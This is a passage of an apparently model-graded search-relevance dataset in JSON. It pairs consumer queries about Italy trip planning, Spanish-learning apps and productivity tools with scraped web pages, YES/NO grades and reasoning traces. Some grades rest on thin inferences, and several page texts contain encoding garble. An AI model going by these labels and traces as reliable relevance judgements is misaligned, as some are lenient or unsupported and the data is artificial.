walking tour of the town, (these southern villages date back to 700-900 A.D and older!) that explores the culture, history and traditions of the town \n  Day trip to nearby Lucera to tour an ancient Roman Amphitheater, dating to Augustus' times and more  \n  On Mercato day (the street market)of your trip shop for food, shoes, clothing, souvenirs etc.\u00a0  \n  A visit to a local Winery... where we EAT(a lot!) and taste wonderful wines!  \n  Experiences with a couple of the social clubs in town  \n  Other restaurant meals, picnics etc.  \n  Wine is included with meals  \n      Basically ... ju",
                "model_trace": "Query Decomposition:\n1. {consumer service that can help plan an international trip to Italy}: The document describes a service that plans trips to Italy, specifically to Roseto Valfortore -> ([1], SATISFIED)\n2. {visit historical sites}: The document mentions a walking tour of the town exploring its history and traditions, and a day trip to an ancient Roman Amphitheater -> ([1], SATISFIED)\n3. {take a cooking class}: The document includes 4-5 cooking lessons with local chefs -> ([1], SATISFIED)\n4. {see some of the natural landscapes}: The document does not explicitly mention natural landscapes -> ([0], UNSURE)\n5. {handle logistics like flights, accommodations, and activity bookings}: The document mentions handling transportation to and from Naples Airport, lodging, and activity bookings, but does not mention flights -> ([2], UNSURE)\n\nAssessment: The document satisfies the subcomponents related to planning a trip, visiting historical sites, and taking cooking classes. It provides some information about logistics but does not explicitly mention handling flights. However, it covers most of the user's needs comprehensively.\n\nYES"
            }
        ]
    },
    {
        "query": "I'm trying to find a consumer service that can help me learn a new language, like Spanish, through interactive lessons, conversation practice, and personalized feedback. It should work on my phone and computer so I can practice anywhere.",
        "grid_pos": [
            2,
            3
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Consumer Good/Consumer Service",
        "reasoning_trace": [
            "These queries cover a range of consumer services and goods that require significant context and external knowledge to fully address, including:\n\n1. Planning an international trip to Italy involving historical sites, cooking classes, and natural landscapes. This would require knowledge of Italy's top tourist destinations, available travel packages and services, and local activities.\n\n2. Tracking personal health and fitness metrics over time using a connected device and app. This would require familiarity with the features and capabilities of fitness tracking products.\n\n3. Learning a new language like Spanish through interactive lessons, conversation practice, and personalized feedback. This would need an understanding of language learning platforms and their pedagogical approaches.\n\n4. Staying organized and productive through task management, scheduling, and collaboration tools. This would benefit from knowledge of popular productivity apps and their key features.\n\n5. Finding and booking unique vacation rentals and experiences that immerse the user in local culture. This would draw on expertise in the vacation rental and experiential travel industries.\n\nOverall, these queries are specific, nuanced, and require a broad understanding of consumer services and products to address effectively."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Fluencia",
                "url": "https://www.fluencia.com/",
                "published_date": null,
                "text": "Language Learning that Works\n Powered by adaptive learning technology and the latest cognitive research.\n\nSpeak up\n Say goodbye to boring textbooks. Learn full sentences with interactive exercises, so you can communicate in real conversations.\n\nLearn your way\n Our SmartReview\u00e2\u0084 technology and intelligent feedback system target your weaknesses and eliminate them.\n\nGet results\n Maximize what you learn with the research proven, spaced-repetition method. You\u00e2\u0080\u0099ll quickly build proficiency and confidence.\n\nIntuitive\n Our rich curriculum and clear course structure is easy to understand. Quickly build a strong foundation to communicate in Spanish.\n\nConversations\n Interactive conversations immerse you in spoken Spanish and real culture. Pick up the language in an authentic way.\n\nInteractive\n Our fun exercises keep you actively engaged. Hand-selected images and native-speaker audio help you retain what you learn.\n\nprev\n next\n\nCARSON B. \u00e2\u0080\u009cFluencia\u00e2\u0080\u0099s SmartReview is great. It makes sure you get it and don\u00e2\u0080\u0099t forget.\u00e2\u0080\u009d\n\nKAREN S. \u00e2\u0080\u009cFluencia is fun! I\u00e2\u0080\u0099m excited to use what I\u00e2\u0080\u0099ve learned on my next trip.\u00e2\u0080\u009d\n\nKAREN D. \u00e2\u0080\u009cI love the variety of ways you practice with Fluencia. It\u00e2\u0080\u0099s really easy to use.\u00e2\u0080\u009d",
                "model_trace": "Query Decomposition:\n1. {consumer service that can help learn a new language, like Spanish}: The document describes Fluencia as a language learning service specifically for Spanish -> ([1], SATISFIED)\n2. {interactive lessons}: The document mentions interactive exercises and conversations -> ([1], SATISFIED)\n3. {conversation practice}: The document states that there are interactive conversations to immerse users in spoken Spanish -> ([1], SATISFIED)\n4. {personalized feedback}: The document mentions an intelligent feedback system that targets weaknesses -> ([1], SATISFIED)\n5. {works on phone and computer}: The document does not explicitly mention compatibility with both phone and computer -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are all satisfied based on the information provided. The document describes a service that offers interactive lessons, conversation practice, and personalized feedback for learning Spanish. Although it does not explicitly state compatibility with both phone and computer, the other key subcomponents are satisfied.\n\nYES"
            },
            {
                "grade": "YES",
                "title": "#1 Online Free Live Spanish Lessons",
                "url": "https://beepboop.us/",
                "published_date": "2023-01-01",
                "text": "Beepboop is uniquely structured around Drills: 25 minute, fast-paced classes where students practice speaking and instructors offer immediate feedback. In Drills, mistakes are learning opportunities.Drills are audio-only. Every class has slides for students to follow along, but we remove any anxiety around appearance. Students focus on their learning. Our teaching is informed by pedagogical work pioneered at Dartmouth College, designed to get students comfortable speaking a new language as fast as possible. We don\u2019t waste any time! We couldn\u2019t exist without our Drill Instructors, native Spanish speakers who love teaching. Get to know a few below.",
                "model_trace": "Query Decomposition:\n1. {consumer service to learn a new language, like Spanish}: This document describes Beepboop, a service for learning Spanish -> ([1], SATISFIED)\n2. {interactive lessons}: The document mentions 25-minute, fast-paced classes where students practice speaking and receive immediate feedback, which implies interactivity -> ([2], SATISFIED)\n3. {conversation practice}: The document mentions that students practice speaking, which implies conversation practice -> ([2], SATISFIED)\n4. {personalized feedback}: The document states that instructors offer immediate feedback during the classes -> ([1], SATISFIED)\n5. {works on phone and computer}: The document does not specify whether the service works on both phone and computer -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {consumer service to learn a new language, like Spanish}, {interactive lessons}, {conversation practice}, and {personalized feedback}. All these subcomponents are satisfied. Therefore, the document is helpful for the user's query. YES."
            },
            {
                "grade": "YES",
                "title": "Polly Lingual - Learn foreign languages with interactive lessons, games and live video tutors",
                "url": "https://pollylingu.al/",
                "published_date": "2023-01-01",
                "text": "Polly Passport\n Get complete access to all premium lessons, for all languages and courses, plus other advanced features, when you buy a Polly Passport subscription.\n Buy a Polly Passport More Information",
                "model_trace": "Query Decomposition:\n1. {consumer service to learn a new language, like Spanish}: The document mentions Polly Lingual, which is a service for learning foreign languages -> ([1], SATISFIED)\n2. {interactive lessons}: The document states that Polly Lingual offers interactive lessons -> ([1], SATISFIED)\n3. {conversation practice}: The document mentions live video tutors, which implies conversation practice -> ([2], SATISFIED)\n4. {personalized feedback}: The document does not explicitly mention personalized feedback -> ([0], UNSURE)\n5. {works on phone and computer}: The document does not specify if Polly Lingual works on both phone and computer -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {consumer service to learn a new language, like Spanish}, {interactive lessons}, and {conversation practice}. All these subcomponents are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "Speak - The language learning app that gets you speaking",
                "url": "https://www.speak.com/",
                "published_date": null,
                "text": "Speak out loud 10x more than any other method \n \n \n Receive instant feedback from our AI tutor \n \n \n Practice the most useful everyday patterns\n \n \n \n \n    \n      \n \n \n \n    I have literally never spoken more English in my life\n - \u00ec\u008a\u00a4\u00ed\u0094\u00bd \u00ec\u009c\u00a0\u00ec\u00a0\u0080 \u00eb\u00af\u00b8\u00ec\u00a7\u0080\u00ec\u009d\u0098 \u00ec\u0084\u00b8\u00ea\u00b3\u0084\u00eb\u008b\u0098 -\n  \n  \n \n \n The most advanced AI Speaking technology\n Speak is the first &amp; only app that lets you get real conversational practice without needing a live tutor on the other end. And we build some serious AI tech to make that possible. \n \n \n   \n \n \n \n \n \n  The reviews speak for themselves\n  \n \n \n \n \n    The Best, By Far\n \n I\u00e2\u0080\u0099ve used many English apps, but I think Speak is the best fit for me! I think I\u00e2\u0080\u0099m beginning to comprehend (listening skills) as I\u00e2\u0080\u0099m speaking now. But most of all, I\u00e2\u0080\u0099m getting incredible results from creating a morning routine with Speak. I started with English, but now I\u00e2\u0080\u0099ve even added working out and reading.\n \n \n    Love it. Highly Recommend!\n \n It (the app) makes me practice speaking what I\u00e2\u0080\u0099ve learned which helps me remember better. It\u00e2\u0080\u0099s seriously the best. My English is horrible but this app makes me feel like I can get better.\n \n \n \n Way Better Than Learning at Academies! \n  \n I\u00e2\u0080\u0099ve been using it consistently because it\u00e2\u0080\u0099s easy to understand and the explanations are great! The step-by-step explanations make it easy to comprehend and the way it makes me practice speaking allows me get it faster. Very satisfied and using it on the daily.\n \n \n \n Totally Worth Every Penny! \n  \n I think it\u00e2\u0080\u0099s awesome. Compared to the awkwardness of trying to force a conversation over the phone or the boring online lectures, this app covers all the bases. The content is extremely useful, so it\u00e2\u0080\u0099s worth every penny!\n \n \n    Allows You to Focus on Speaking\n \n It repeatedly makes you practice speaking so you can get used to what you\u00e2\u0080\u0099re reviewing. I can tell that the simplicity of the app allows you to just focus on your speaking. The conversation practice part (conversation simulator) lets you prepare for real-life situations, whic",
                "model_trace": "Query Decomposition:\n1. {consumer service to help learn a new language like Spanish}: The document describes a language learning app called Speak, which is designed to help users learn languages through speaking practice -> ([1], SATISFIED)\n2. {interactive lessons}: The document mentions that Speak provides instant feedback from an AI tutor and allows for real conversational practice, which suggests interactive lessons -> ([2], SATISFIED)\n3. {conversation practice}: The document highlights that Speak is the first app to offer real conversational practice without needing a live tutor -> ([1], SATISFIED)\n4. {personalized feedback}: The document states that users receive instant feedback from an AI tutor, which implies personalized feedback -> ([2], SATISFIED)\n5. {works on phone and computer}: The document does not explicitly mention compatibility with both phone and computer -> ([0], UNSURE)\n\nAssessment: The relevant subcomponents are {consumer service to help learn a new language like Spanish}, {interactive lessons}, {conversation practice}, and {personalized feedback}. All of these subcomponents are satisfied by the document. YES."
            },
            {
                "grade": "YES",
                "title": "Duolingo - The world's best way to learn a language",
                "url": "https://www.duolingo.com/",
                "published_date": null,
                "text": "free. fun. effective.  Learning with Duolingo is fun, and research shows that it works! With quick, bite-sized lessons, you\u2019ll earn points and unlock new levels while gaining real-world communication skills.        backed by science We use a combination of research-backed teaching methods and delightful content to create courses that effectively teach reading, writing, listening, and speaking skills!       stay motivated We make it easy to form a habit of language learning with game-like features, fun challenges, and reminders from our friendly mascot, Duo the owl.       personalized learning Combining the best of AI and language science, lessons are tailored to help you learn at just the right level and pace.        learn anytime, anywhere                   duolingo english\u00a0test   Our convenient, fast, and affordable English test integrates the latest assessment science and AI \u2014 empowering anyone to accurately test their English where and when they\u2019re at their best.   Certify your English         duolingo for schools Teachers, we\u2019re here to help you! Our free tools support your students as they learn languages through the Duolingo app, both in and out of the classroom.   Get your class started         duolingo abc From language to literacy! With fun phonics lessons and delightful stories, Duolingo ABC helps kids ages 3\u20138 learn to read and write \u2014 100% free.   Learn more about ABC         duolingo math Our free, bite-sized approach \u2014 but for math! Fun lessons help students get ahead in their math classes, while adults can brain train to boost their mental math skills.   Get better at Math               ||||I||||        Site language: English\n        The free, fun, and effective way to learn a language!\n          Get started I ALREADY HAVE AN ACCOUNT\n          * English\n          * Spanish\n          * French\n          * German\n          * Italian\n          * Portuguese\n          * Dutch\n          * Japanese\n          * Arabic\n          * Czech\n          * Welsh\n          * Danish\n          * Greek\n          * Espe",
                "model_trace": "Query Decomposition:\n1. {consumer service that can help learn a new language, like Spanish}: The document is about Duolingo, which is a consumer service for language learning and includes Spanish -> ([1], SATISFIED)\n2. {interactive lessons}: The document mentions quick, bite-sized lessons and game-like features, which imply interactive lessons -> ([1], SATISFIED)\n3. {conversation practice}: The document does not explicitly mention conversation practice -> ([0], UNSURE)\n4. {personalized feedback}: The document mentions personalized learning with tailored lessons -> ([1], SATISFIED)\n5. {works on phone and computer}: The document states \"learn anytime, anywhere,\" which implies compatibility with both phone and computer -> ([2], SATISFIED)\n\nAssessment: The relevant subcomponents are all satisfied. The document provides information about a consumer service (Duolingo) that helps with language learning, offers interactive lessons, personalized feedback, and works on both phone and computer.\n\nYES"
            },
            {
                "grade": "NO",
                "title": "LearnSpanishFree",
                "url": "https://www.conversationexchange.com/s_map/learn.php?language=Spanish",
                "published_date": null,
                "text": "Learn Spanish for free\nLearn Spanish with a native speaker who is learning your language Learn more \n Find a Spanish-speaking language partner \nNew Spanish-speaking Members\n \nGilberto Gonz\u00e1l\n  Gender, Age  \nMale , 22\n  Country, Town  \nMexico, Tuxpan\n, (Veracruz)\n  Native Language  \nSpanish\n  Practicing Language  \nEnglish\n  Type of Exchange  \nCorrespondence (Pen-Pal)\nChat using\nDiscord\n  Description\nHello, I'm Gilberto and I'm looking for a native English speaker who wants to help me with my English, and I can help you with your Spanish, I'm from Mexico, I'm not a teacher, I'm just a person who learned my language naturally like you did\n  Hobbies and interests  \nPlaying videogames, watching anime, post apocalyptic movies, drawing, etc\n  Last login  \n26 June 2024 \n  Profile date  \n28 September 2023\n \n \nMarisa\n  Gender, Age  \nFemale , 65\n  Country, Town  \nSpain, Dos Hermanas\n, (Seville)\n  Native Language  \nSpanish\n  Practicing Language  \nEnglish\nFrench\n  Type of Exchange  \nFace to face conversation\nChat using\nSkype\n  Description\nI was working all my life in the Educational Spanish System and in this moment, I am a retired and active woman, very interested in improving my levels in English and French. I can help you to improve your Spanish.\n  Hobbies and interests  \nBooks, movies, travelling, learning languages, ...\n  Last login  \n26 June 2024 \n  Profile date  \n15 September 2013\n \n \nGerardo\n  Gender, Age  \nMale , 55\n  Country, Town  \nSpain, Madrid\n, (Madrid)\n  Native Language  \nSpanish\n  Practicing Language  \nEnglish\n  Type of Exchange  \nFace to face conversation\nChat using\nSkype\n \nMe gustan los deportes especialmente el baloncesto y el atletismo. Quiero conocer gente, aprender idiomas y siempre que pueda viajar. Me gustar\u00eda practicar ingl\u00e9s, yo puedo ayudarte con el espa\u00f1ol. Que me dices?\nI like sports especially basketball and athletics. I want to meet people, learn languages and travel whenever possible. I would like to practice English, I can help you with your Spanish. What do you say??\nPlease contact with me fo",
                "model_trace": "Query Decomposition:\n1. {consumer service to learn a new language}: The document provides a platform for language exchange, which can be considered a consumer service for learning a language -> ([1], SATISFIED)\n2. {interactive lessons}: The document does not mention structured interactive lessons, only language exchange with native speakers -> ([1], UNSATISFIED)\n3. {conversation practice}: The document clearly facilitates conversation practice with native speakers -> ([1], SATISFIED)\n4. {personalized feedback}: The document does not mention personalized feedback from language experts or teachers -> ([1], UNSATISFIED)\n5. {works on phone and computer}: The document mentions using Discord and Skype, which are available on both phone and computer -> ([2], SATISFIED)\n\nAssessment: The relevant subcomponents are {consumer service to learn a new language}, {conversation practice}, and {works on phone and computer}. Since {interactive lessons} and {personalized feedback} are not satisfied, the document is not fully aligned with the user's intent. NO."
            }
        ]
    },
    {
        "query": "I'm looking for a consumer product that can help me stay organized and productive. I need something that can help me manage my to-do lists, schedule appointments, and collaborate with my team at work.",
        "grid_pos": [
            2,
            3
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Consumer Good/Consumer Service",
        "reasoning_trace": [
            "These queries cover a range of consumer services and goods that require significant context and external knowledge to fully address, including:\n\n1. Planning an international trip to Italy involving historical sites, cooking classes, and natural landscapes. This would require knowledge of Italy's top tourist destinations, available travel packages and services, and local activities.\n\n2. Tracking personal health and fitness metrics over time using a connected device and app. This would require familiarity with the features and capabilities of fitness tracking products.\n\n3. Learning a new language like Spanish through interactive lessons, conversation practice, and personalized feedback. This would need an understanding of language learning platforms and their pedagogical approaches.\n\n4. Staying organized and productive through task management, scheduling, and collaboration tools. This would benefit from knowledge of popular productivity apps and their key features.\n\n5. Finding and booking unique vacation rentals and experiences that immerse the user in local culture. This would draw on expertise in the vacation rental and experiential travel industries.\n\nOverall, these queries are specific, nuanced, and require a broad understanding of consumer services and products to address effectively."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "KeepLink",
                "url": "https://keeplink.com/",
                "published_date": "2023-05-17",
                "text": "Make your phone a\n\nDigital Brain\n\nDiscover the power of a Digital Brain with KeepLink: your all-in-one solution for capturing, connecting, and organizing every aspect of your life\n\nGet more organized\n\nRemember everything\n\nReduce your mental load\n\nDiscover the power of a unified Digital Brain with KeepLink: your all-in-one solution for capturing, connecting, and organizing every aspect of your life\n\nGet more organized\n\nRemember everything\n\nReduce your mental load\n\nFree your mind\n\nKeepLink serves as a supplementary mental space, storing information and easing cognitive load. By utilizing KeepLink, your mind can focus on fostering creativity and engaging in deep thought.\n\nI store in KeepLink every important information and every things I have to do. Knowing that these things are available when I need them makes me feel more secure and confident \ud83d\udc4d\n\nSimple as a list\n\nI use KeepLink to manage all information about my children. School, friends, activities, health\u2026 that\u2019s a lot! And I can share these items with their father so he knows \ud83d\ude42\n\nPowerful as a graph\n\nKeepLink emulates the way your mind connects information by linking related items together. Form connections that resonate with you, making your information come alive through personalized and intuitive relationships.\n\nKeepLink helps me to organize all my thoughts and ideas. The way I can connect these thoughts together is just fantastic \ud83d\ude80\n\nHighly customizable\n\nKeepLink provides a customized experience for efficient information management. Assign icons to items, adjust colors for visual ambiance, set list detail levels, and create rules to suit your unique workflow.\n\nI like hiking in the mountains when I can. I use KeepLink to store information about the route, maps and check lists. When back home, I add some comments, pictures and videos. I make these lists look gorgeous so I can watch them again and again \ud83c\udfd4\ufe0f\n\nStore and retrieve everything\n\nKeepLink offers a simple, unique and powerful way to organize all these items.\n\nKeepLink offers a simple, unique and powerful ",
                "model_trace": "Query Decomposition:\n1. {consumer product that can help stay organized and productive}: The document describes KeepLink as a product designed to help users stay organized and productive -> ([1], SATISFIED)\n2. {manage to-do lists}: The document mentions that KeepLink can be used to manage lists -> ([1], SATISFIED)\n3. {schedule appointments}: The document does not explicitly mention scheduling appointments -> ([0], UNSURE)\n4. {collaborate with team at work}: The document mentions sharing items with others, but it is not clear if it supports team collaboration at work -> ([2], UNSURE)\n\nAssessment: The document satisfies the key subcomponents related to staying organized and managing to-do lists. However, it does not provide clear information on scheduling appointments or team collaboration. Since the primary subcomponents are met and the product appears to be aligned with the user's intent of staying organized and productive, the document is likely helpful. YES."
            },
            {
                "grade": "NO",
                "title": "FreedomFiler\u00ae Filing Systems for Home and Business",
                "url": "https://www.freedomfiler.com/",
                "published_date": "2022-09-06",
                "text": "Home 1/5 Tab Filing System\n\nCustomize for any individual or household.\n\nSelf-Employed 1/5 Tab Filing System\n\nIncludes all home filing labels, plus support for freelance workers.\n\nBusiness 1/5 Tab Filing System\n\nA comprehensive system for business. Add customer, employee, and vendor files.\n\nHome 1/3 Tab Filing System\n\nCustomize for any individual or household.\n\nSelf-Employed 1/3 Tab Filing System\n\nIncludes all home filing labels, plus support for freelance workers.\n\nBusiness 1/3 Tab Filing System\n\nA comprehensive system for business. Add customer, employee, and vendor files.\n\nHome Binders Filing System\n\nConvert your Home 1/3 Tab filing system to binders with spine labels provided. Apply subfolder labels to FreedomFiler 1/3 Tab Binder Pockets.\n\nSelf-Employed Binders Filing System\n\nConvert your Self-Employed 1/3 Tab filing system to binders with spine labels provided. Apply subfolder labels to FreedomFiler 1/3 Tab Binder Pockets.\n\nBusiness Binders Filing System\n\nConvert your Business 1/3 Tab filing system to binders with spine labels provided. Apply subfolder labels to FreedomFiler 1/3 Tab Binder Pockets.\n\nNational features and endorsements\n\nA Universal Filing Method\n\nFreedomFiler's self-purging filing systems are available for any setting or style. Color-coded files reveal the reason documents are kept, and for how long.\n\nFreedomFiler is loved by customers, bloggers, and pros.\n\nI love the FreedomFiler. I have installed over thirty-five kits in a little over a year. Thank you for all the hard work to bring this product to market. It really does make a difference in people\u2019s lives.\n\nL. Guzzo, Administrative Assistant\n\nWhat I like best about the FreedomFiler is I don't have to think. It's like having a full time assistant manage my files for me.\n\nM. Jokela, Property Manager\n\nOne organization system, FreedomFiler, was repeatedly mentioned on product review websites as the best. FreedomFiler did exactly what it claimed and brought sustainable order to the papers in my home.\n\nE. Doland, unclutterer.com\n\nFiling can be eas",
                "model_trace": "Query Decomposition:\n1. {consumer product that can help stay organized and productive}: This document describes a filing system, which is a consumer product designed to help with organization -> ([1], SATISFIED)\n2. {manage to-do lists}: The document does not mention anything about managing to-do lists -> ([0], UNSURE)\n3. {schedule appointments}: The document does not mention anything about scheduling appointments -> ([0], UNSURE)\n4. {collaborate with team at work}: The document does not mention anything about collaboration tools or features for team work -> ([0], UNSURE)\n\nAssessment: The document only satisfies the subcomponent related to being a consumer product for organization. It does not address managing to-do lists, scheduling appointments, or collaboration with a team. Therefore, it does not fully meet the user's needs. NO."
            },
            {
                "grade": "YES",
                "title": "Organize 365 - Education Friday Workbox",
                "url": "https://organize365.com/education-friday-workbox",
                "published_date": "2023-01-01",
                "text": "The Education Friday Workbox\u00ae is your administrative assistant. \nThis system helps you manage the active paperwork for your team, students, finances, administrative work, checklists, online tasks, and annual planning.\n\nThe Education Friday Workbox\u00ae includes:\n\nA physical Friday Workbox\u00ae in the color of your choice \u2013 Classic Navy, Slate Gray, Vintage Plum, Sapphire Blue, Basic Black, or Red (Red is currently on backorder)\n\nOne Set of Organize 365\u00ae 1.0 Slash Pockets (5 total)\n\nOne Set of Organize 365\u00ae 2.0 Slash Pockets (20 total)\n\nOne Set of Organize 365\u00ae Yellow Slash Pockets (5 total)\n\nOne Set of Organize 365\u00ae Orange Slash Pockets (5 total)\n\nOne Set of Organize 365\u00ae Red Slash Pockets (5 total)\n\nAccess to the online Friday Workbox\u00ae training portal, which contains detailed on-demand training for implementing your new Friday Workbox\u00ae system\n\nA step-by-step Playbook to guide you in setting up your Friday Workbox\u00ae\n\nMembership in an exclusive online community where you can join weekly co-working sessions for accountability\n\nStill not sure? Have other questions that aren't answered above?\n\nHow will the Friday Workbox\u00ae Help Me Organize My Work? The Friday Workbox\u00ae is a comprehensive organizational solution with everything you need to physically organize your papers and to learn all the skills of being proactive and productive in your work. It is a physical product that stores ideas and assignments to keep your desk free of paper. It also includes online lessons to teach the skill of organizing. Using this external brain ensures that you are spending your time proactively engaged with your work, rather than reacting to the latest crisis. You will learn to track all of your active work, proactively plan your week, and increase the strength of your organizational skills. \nIf you are familiar with the Sunday Basket\u00ae System for managing household paper, it will be easy to master your Friday Workbox\u00ae. The two share some similarities such as focusing on actionable papers and the use of the 1.0 and 2.0 Slash Pockets. However, Frid",
                "model_trace": "Query Decomposition:\n1. {consumer product that can help me stay organized and productive}: The document describes the Education Friday Workbox\u00ae, which is an organizational product -> ([1], SATISFIED)\n2. {manage my to-do lists}: The document mentions managing active paperwork and checklists, which implies managing to-do lists -> ([2], SATISFIED)\n3. {schedule appointments}: The document does not mention scheduling appointments -> ([0], UNSURE)\n4. {collaborate with my team at work}: The document mentions co-working sessions for accountability, which implies collaboration -> ([2], SATISFIED)\n\nAssessment: The relevant subcomponents are {consumer product that can help me stay organized and productive}, {manage my to-do lists}, and {collaborate with my team at work}. All these subcomponents are satisfied. YES."
            },
            {
                "grade": "YES",
                "title": "20 Must-Have Organizational Tools to Use in 2024",
                "url": "https://www.chanty.com/blog/organizational-tools/",
                "published_date": null,
                "text": "The main benefits of staying organized are better productivity and performance. It gives you a sense of control, which is important for time management, building resilience, and improving general well-being. Being organized increases focus and confidence, and you accomplish more tasks quickly.\u00a0  Statistics show that not using time management techniques means 32% of people waste 1\u20132 hours a day, and 6% of them waste as much as 6 hours per day. The CDC reports that 80% of medical expenses by individuals are due to stress. Lack of organization often leads to stress. Another report by the National Association of Professional Organizers says workers waste 40% of a workday due to a lack of organizational skills. Using organizational tools can help you prioritize work and meet goals. Here are some apps to help you stay organized.\u00a0 Best organizational tools for business 1. Chanty    Chanty is an organizational tool designed to help companies improve communication and productivity among teams. It is a multi-functional, cloud-based collaboration tool with automation and project management features. Users have unlimited messaging, can schedule video conferences, and can seamlessly integrate the app with other tools. Remote teams can join virtual meetings from anywhere on any type of device, and the tool empowers workers with the ability to share screen recordings and screenshots with their colleagues. Up to 1,000 people can join each meeting. Users can choose a Free plan for 5 users or pay either $3 per user annually or $4 per user monthly. Chanty works well on macOS, Android, iOS, and Windows. 2. ProofHub     ProofHub is an all-in-one organizational tool that helps businesses with project management and team collaboration. It allows you to stay in control of your work, from managing your daily agenda to overseeing teamwork, keeping track of projects, and streamlining team collaboration- it puts everything in one place.\u00a0 With ProofHub, you can manage everything from tasks and teams to clients. This eliminates the need to go",
                "model_trace": "Query Decomposition:\n1. {consumer product that can help stay organized and productive}: The document lists organizational tools that help with productivity -> ([1], SATISFIED)\n2. {manage to-do lists}: The document mentions Chanty and ProofHub, which are organizational tools that likely include to-do list management features -> ([2], SATISFIED)\n3. {schedule appointments}: The document mentions scheduling video conferences, which implies appointment scheduling capabilities -> ([2], SATISFIED)\n4. {collaborate with team at work}: The document mentions features for team collaboration, such as messaging, video conferences, and project management -> ([1], SATISFIED)\n\nAssessment: The document satisfies all the relevant subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "18 Best Productivity Apps You Should Try in 2024",
                "url": "https://pumble.com/blog/best-productivity-apps/",
                "published_date": null,
                "text": "Like so many people in the workforce today, you may have fallen into the cycle of constantly trying to do more with the limited time you have at work.\u00a0\nUnfortunately, simply downloading and installing the best productivity apps on your work computer may not actually make you more productive \u2014 the quantity and quality of your work depend on:\u00a0\nThe type of industry you\u2019re in,\u00a0\nYour personal preferences, and\u00a0\nThe specifics of your job.\u00a0\nThe good news is that you can still use productivity tools to improve your approach.\u00a0\nTo make the entire process easier, I\u2019ve tested some of the most widely used productivity apps on the market and divided them into 6 categories.\u00a0\nYou can take a peek at these categories, see which ones align with your responsibilities, and select an app that would be a good fit.\nNow, let\u2019s get into it!\n  \n   Best productivity apps for team communication   Pumble\u00a0   Microsoft Teams   Google Chat     Best productivity apps for making to-do lists   Todoist   TickTick   Habitica     Best productivity apps for project management\u00a0   Plaky   Wrike   monday.com     Best productivity apps for taking notes   Notion   Google Keep   Obsidian     Best productivity apps for tracking time   Clockify   Toggl Track   TimeCamp     Best productivity apps for scheduling calendar events   Calendly   Google Calendar   Zoho Bookings     Choose the right tools to be at your most productive    \n      Best productivity apps for team communication  \nIf we\u2019ve learned anything from the past few years, it\u2019s that the   productivity of remote workers   largely depends on how well they communicate with their teams.\u00a0 \nFor this reason, we\u2019ll look at 3 communication apps that have changed the game when it comes to asynchronous communication.\u00a0\n       Pumble\u00a0   \nPumble \u2014 a user-friendly and intuitive team communication app \u2014 offers a multitude of features that benefit businesses of all sizes.\u00a0\nWhat makes the app stand out from its competitors is the   comprehensive free plan , which is a cost-effective solution for organizations looking t",
                "model_trace": "Query Decomposition:\n1. {Consumer product that helps stay organized and productive}: The document lists various productivity apps, which are consumer products designed to help with organization and productivity -> ([1], SATISFIED)\n2. {Manage to-do lists}: The document lists apps specifically for making to-do lists, such as Todoist, TickTick, and Habitica -> ([1], SATISFIED)\n3. {Schedule appointments}: The document lists apps for scheduling calendar events, such as Calendly, Google Calendar, and Zoho Bookings -> ([1], SATISFIED)\n4. {Collaborate with team at work}: The document lists apps for team communication, such as Pumble, Microsoft Teams, and Google Chat -> ([1], SATISFIED)\n\nAssessment: The document satisfies all key subcomponents of the query. YES."
            },
            {
                "grade": "YES",
                "title": "35 Best Online Collaboration Tools For Teams In 2024",
                "url": "https://thedigitalprojectmanager.com/tools/best-collaboration-tools/",
                "published_date": null,
                "text": "These are the online collaboration tools we\u2019ll be addressing in this article.              monday.com    External user collaboration using guest invites to a board               Wrike    Best collaboration tool for teams of all sizes             Workmates    Best online collaboration tool for teams the desire built-in recognition features             Ziflow    Share and review videos, websites, images and more with the leading creative collaboration platform for teams everywhere.             Smartsheet    Client approvals, comments, and team feedback made simple through Smartsheet proofs             ClickUp    Doc collaboration with live cursor and collaboration detection to prevent overlap             Nifty    Best for individual project discussion threads             Kintone    Dedicated threads within each workspace to discuss specific topics             Lucidspark    Best visual collaboration software for ideation, brainstorming and sprint planning             Confluence    Best flexibility &amp; customization capabilities to adapt to your unique workflows             Forecast    Best collaboration tool with built-in project management capabilities             Troop Messenger    Best internal collaboration tool for remote teams             MeisterTask    Centralized communication within tasks to focus team discussions             Blink    Best collaboration software for deskless workers             Evernote    Dedicated collaboration spaces with permissions so you decide who has access      Below you\u2019ll find an overview of each of the 15 best online collaboration tools, with screenshots, feature overviews, and pricing. Online collaboration tools are becoming a vital element of the modern workplace. And because the modern workplace often isn\u2019t a place at all, we need to adopt a well-organized, central space where all of the project documentation and communication lives. Our clients may be located in New York, our developers in Bali, and our marketing team in London. But our documents, processes, deadlines, and",
                "model_trace": "Query Decomposition:\n1. {Consumer product to help stay organized and productive}: The document lists online collaboration tools, which can help with organization and productivity -> ([1], SATISFIED)\n2. {Manage to-do lists}: The document does not explicitly mention to-do list management for each tool, but some tools like ClickUp and Evernote are known for such features -> ([2], SATISFIED)\n3. {Schedule appointments}: The document does not mention scheduling appointments -> ([0], UNSURE)\n4. {Collaborate with team at work}: The document focuses on online collaboration tools for teams, which aligns with this subcomponent -> ([1], SATISFIED)\n\nAssessment: The relevant subcomponents are {Consumer product to help stay organized and productive}, {Manage to-do lists}, and {Collaborate with team at work}. All these subcomponents are satisfied. YES."
            }
        ]
    },
    {
        "query": "I'm interested in learning more about the startup Notion, which makes a popular all-in-one workspace and collaboration tool. Can you provide an overview of Notion's founding, leadership team, product features, target market, and how it compares to similar productivity software like Airtable and Trello?",
        "grid_pos": [
            2,
            4
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Company/Startup/Corporation",
        "reasoning_trace": [
            "The provided queries are all focused on finding information about specific companies, startups, or technology products/services. They require a good understanding of the business landscape, competitive dynamics, and technical details to answer thoroughly. The queries cover a range of industries and use cases, from cloud computing and HR software to chatbots and productivity tools. Answering these queries well would demonstrate the search engine's ability to surface relevant, in-depth information from a variety of sources to meet the user's research needs."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "Notion \u2013 One workspace. Every team.",
                "url": "https://www.notion.so/product",
                "published_date": "2022-06-08",
